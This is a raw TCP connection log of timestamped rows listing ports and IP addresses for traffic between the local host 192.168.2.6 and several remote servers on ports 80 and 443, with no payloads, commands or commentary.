Nov 18, 2024 00:27:55.347783089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.347806931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.347831011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.347860098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.347871065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.347882986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.347913027 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.347942114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.355463028 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.355488062 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.355567932 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.355592012 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.355623007 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.355635881 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.367356062 CET	443	50001	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:55.370851040 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.371041059 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.371095896 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.371413946 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.371429920 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.371443987 CET	49998	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.371450901 CET	443	49998	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.375523090 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.375562906 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.375617981 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.375916004 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.375930071 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.405622005 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.405651093 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.405818939 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.405850887 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.405900002 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.427654982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.427666903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.427678108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.427687883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.427700043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.427728891 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.427764893 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.429697990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.429708958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.429719925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.429729939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.429742098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.429765940 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.429800034 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.431412935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.431468964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.431474924 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.431478977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.431489944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.431513071 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.431545019 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.432334900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.432344913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.432360888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.432382107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.432393074 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.432421923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.433564901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.433593988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.433610916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.433628082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.433648109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.435090065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.435101986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.435112000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.435117960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.435153961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.435173988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.435484886 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.435496092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.435507059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.435544968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.435570955 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.437443972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.437453032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.437463045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.437474012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.437500954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.437531948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.437650919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.437699080 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.437741995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.437752008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.437763929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.437793970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.437818050 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.440277100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.440288067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.440298080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.440332890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.440370083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.440645933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.440656900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.440666914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.440692902 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.440721035 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.442231894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.442241907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.442253113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.442281961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.442317009 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.443015099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.443026066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.443036079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.443064928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.443088055 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.444355965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.444365025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.444385052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.444394112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.444401026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.444422007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.444499969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.445559025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.445570946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.445580959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.445611954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.445636034 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.447020054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.447030067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.447040081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.447046041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.447087049 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.447113991 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.447854042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.447864056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.447875023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.447918892 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.447945118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.449120998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.449131966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.449172020 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.449187040 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.461895943 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.463928938 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.464032888 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.464086056 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.464910984 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.464925051 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.464935064 CET	49999	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.464940071 CET	443	49999	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.471086979 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.471117973 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.471230030 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.471381903 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.471400023 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.480982065 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.481049061 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.492235899 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.497119904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.501451969 CET	443	50001	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:55.501509905 CET	50001	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:55.502352953 CET	50001	443	192.168.2.6	108.156.211.19
Nov 18, 2024 00:27:55.502367973 CET	443	50001	108.156.211.19	192.168.2.6
Nov 18, 2024 00:27:55.592612028 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.592638969 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.592677116 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.592691898 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.592689991 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.592724085 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.592749119 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.592760086 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.592776060 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.592792988 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.593513966 CET	49992	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:55.593528986 CET	443	49992	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:55.695259094 CET	50008	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:55.695296049 CET	443	50008	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:55.695389986 CET	50008	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:55.696247101 CET	50008	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:55.696260929 CET	443	50008	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:55.755345106 CET	50009	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:55.755373001 CET	443	50009	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:55.755475044 CET	50009	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:55.755789995 CET	50009	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:55.755805969 CET	443	50009	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:55.756171942 CET	50010	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:55.756207943 CET	443	50010	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:55.756263018 CET	50010	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:55.756395102 CET	50010	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:55.756409883 CET	443	50010	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:55.763720036 CET	50011	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:55.763747931 CET	443	50011	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:55.763828039 CET	50011	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:55.764029026 CET	50011	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:55.764046907 CET	443	50011	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:55.764442921 CET	50012	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:55.764472961 CET	443	50012	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:55.764566898 CET	50012	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:55.764755011 CET	50012	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:55.764767885 CET	443	50012	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:55.769120932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769180059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769221067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769238949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769252062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769263983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769265890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769273996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769316912 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769340992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769347906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769360065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769371986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769396067 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769422054 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769481897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769494057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769504070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769520998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769649982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769661903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769675970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769675970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769690037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769692898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769712925 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769737005 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769778013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769788980 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769810915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769815922 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769823074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769834042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.769838095 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769860029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.769886017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.770035982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770143032 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.770168066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770179033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770195007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770205021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.770206928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770222902 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.770246983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.770334005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770344973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770356894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770374060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770381927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.770399094 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.770423889 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.770582914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770595074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770615101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770626068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770636082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770637035 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.770647049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770658016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.770658970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770669937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770689011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.770704985 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.770919085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770962954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770976067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.770982027 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.770998001 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.771019936 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.771050930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.771069050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.771086931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.771106005 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.848403931 CET	443	50003	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:55.848684072 CET	50003	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:55.848702908 CET	443	50003	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:55.849873066 CET	443	50003	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:55.850182056 CET	50003	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:55.850341082 CET	443	50003	20.96.153.111	192.168.2.6
Nov 18, 2024 00:27:55.850476027 CET	50003	443	192.168.2.6	20.96.153.111
Nov 18, 2024 00:27:55.879115105 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.879793882 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.879827023 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.880302906 CET	50005	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:55.880311012 CET	443	50005	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:55.886332989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886344910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886356115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886367083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886379957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886390924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886406898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.886437893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886451006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886456013 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.886462927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886473894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886476040 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.886486053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886501074 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.886528969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.886571884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886584044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886594057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886610031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.886632919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.886661053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886672974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886687040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886698961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.886723995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.886730909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886744022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886766911 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.886792898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.886948109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886959076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886974096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.886992931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887005091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887015104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.887043953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.887368917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887381077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887393951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887399912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887411118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887414932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.887445927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.887541056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887552977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887564898 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887573957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.887577057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887588978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887599945 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.887607098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887618065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887631893 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.887633085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887653112 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.887669086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:55.887824059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887837887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887850046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:55.887859106 CET	49889	80	192.168.2.6	185.215.113.206
